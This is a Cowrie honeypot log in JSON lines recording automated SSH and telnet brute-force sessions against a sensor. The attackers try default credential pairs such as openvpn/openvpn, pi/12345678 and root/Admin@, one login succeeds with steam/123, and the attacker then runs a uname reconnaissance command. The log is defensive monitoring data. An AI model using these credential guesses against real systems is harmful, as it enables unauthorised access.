{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":60152,"dst_ip":"10.17.0.5","dst_port":22,"session":"08f430d76aa6","protocol":"ssh","message":"New connection: 45.156.87.147:60152 (10.17.0.5:22) [session: 08f430d76aa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:14.020433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:14.024464Z","src_ip":"45.156.87.147","session":"08f430d76aa6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:14.124020Z","src_ip":"45.156.87.147","session":"08f430d76aa6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openvpn","password":"openvpn","message":"login attempt [openvpn/openvpn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:14.380175Z","src_ip":"45.156.87.147","session":"08f430d76aa6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:15.465893Z","src_ip":"45.156.87.147","session":"08f430d76aa6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":34682,"dst_ip":"159.203.135.109","dst_port":23,"session":"26421fa0822e","protocol":"telnet","message":"New connection: 172.81.62.90:34682 (159.203.135.109:23) [session: 26421fa0822e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:15.935223Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":56452,"dst_ip":"10.17.0.5","dst_port":22,"session":"76b4a1f55ccf","protocol":"ssh","message":"New connection: 45.156.87.147:56452 (10.17.0.5:22) [session: 76b4a1f55ccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:19.776256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:19.887070Z","src_ip":"45.156.87.147","session":"76b4a1f55ccf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:19.894259Z","src_ip":"45.156.87.147","session":"76b4a1f55ccf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo","password":"odoo","message":"login attempt [odoo/odoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:20.216508Z","src_ip":"45.156.87.147","session":"76b4a1f55ccf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:21.303077Z","src_ip":"45.156.87.147","session":"76b4a1f55ccf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.90701079368591,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:22.464977Z","src_ip":"128.199.8.54","session":"f1691f47a86d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":56464,"dst_ip":"10.17.0.5","dst_port":22,"session":"ec18707fed2c","protocol":"ssh","message":"New connection: 45.156.87.147:56464 (10.17.0.5:22) [session: ec18707fed2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:25.395525Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:25.399362Z","src_ip":"45.156.87.147","session":"ec18707fed2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:25.482900Z","src_ip":"45.156.87.147","session":"ec18707fed2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rdpuser","password":"123456789","message":"login attempt [rdpuser/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:25.727926Z","src_ip":"45.156.87.147","session":"ec18707fed2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:26.821240Z","src_ip":"45.156.87.147","session":"ec18707fed2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":59156,"dst_ip":"10.17.0.5","dst_port":22,"session":"c97805cd2d9c","protocol":"ssh","message":"New connection: 45.156.87.147:59156 (10.17.0.5:22) [session: c97805cd2d9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:31.056686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:31.060298Z","src_ip":"45.156.87.147","session":"c97805cd2d9c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:31.141705Z","src_ip":"45.156.87.147","session":"c97805cd2d9c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123","message":"login attempt [steam/123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:31.393861Z","src_ip":"45.156.87.147","session":"c97805cd2d9c","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:31.598699Z","src_ip":"45.156.87.147","session":"c97805cd2d9c","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:31.601487Z","src_ip":"45.156.87.147","session":"c97805cd2d9c","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:31.692268Z","src_ip":"45.156.87.147","session":"c97805cd2d9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:31.695116Z","src_ip":"45.156.87.147","session":"c97805cd2d9c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.3916449546814,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:33.953554Z","src_ip":"128.199.8.54","session":"009776771b62","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":59160,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac33f040d996","protocol":"ssh","message":"New connection: 45.156.87.147:59160 (10.17.0.5:22) [session: ac33f040d996]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:36.760887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:36.765565Z","src_ip":"45.156.87.147","session":"ac33f040d996","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:36.849564Z","src_ip":"45.156.87.147","session":"ac33f040d996","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user1234","message":"login attempt [user/user1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:37.097063Z","src_ip":"45.156.87.147","session":"ac33f040d996","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:38.183329Z","src_ip":"45.156.87.147","session":"ac33f040d996","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":58324,"dst_ip":"10.17.0.5","dst_port":22,"session":"2816c5648abb","protocol":"ssh","message":"New connection: 45.156.87.147:58324 (10.17.0.5:22) [session: 2816c5648abb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:42.351854Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:42.355232Z","src_ip":"45.156.87.147","session":"2816c5648abb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:42.438143Z","src_ip":"45.156.87.147","session":"2816c5648abb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"12345678","message":"login attempt [pi/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:42.689570Z","src_ip":"45.156.87.147","session":"2816c5648abb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":45786,"dst_ip":"10.17.0.5","dst_port":22,"session":"34ebfa1d3113","protocol":"ssh","message":"New connection: 27.71.230.31:45786 (10.17.0.5:22) [session: 34ebfa1d3113]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:42.727907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:42.731269Z","src_ip":"27.71.230.31","session":"34ebfa1d3113","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:42.970204Z","src_ip":"27.71.230.31","session":"34ebfa1d3113","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:43.906042Z","src_ip":"45.156.87.147","session":"2816c5648abb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin@","message":"login attempt [root/Admin@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:46.364189Z","src_ip":"27.71.230.31","session":"34ebfa1d3113","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":28480,"dst_ip":"10.17.0.5","dst_port":22,"session":"ddbcd6a8bea6","protocol":"ssh","message":"New connection: 87.251.64.176:28480 (10.17.0.5:22) [session: ddbcd6a8bea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:47.502556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:47.506097Z","src_ip":"87.251.64.176","session":"ddbcd6a8bea6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T08:29:47.598884Z","src_ip":"87.251.64.176","session":"ddbcd6a8bea6","protocol":"ssh"}
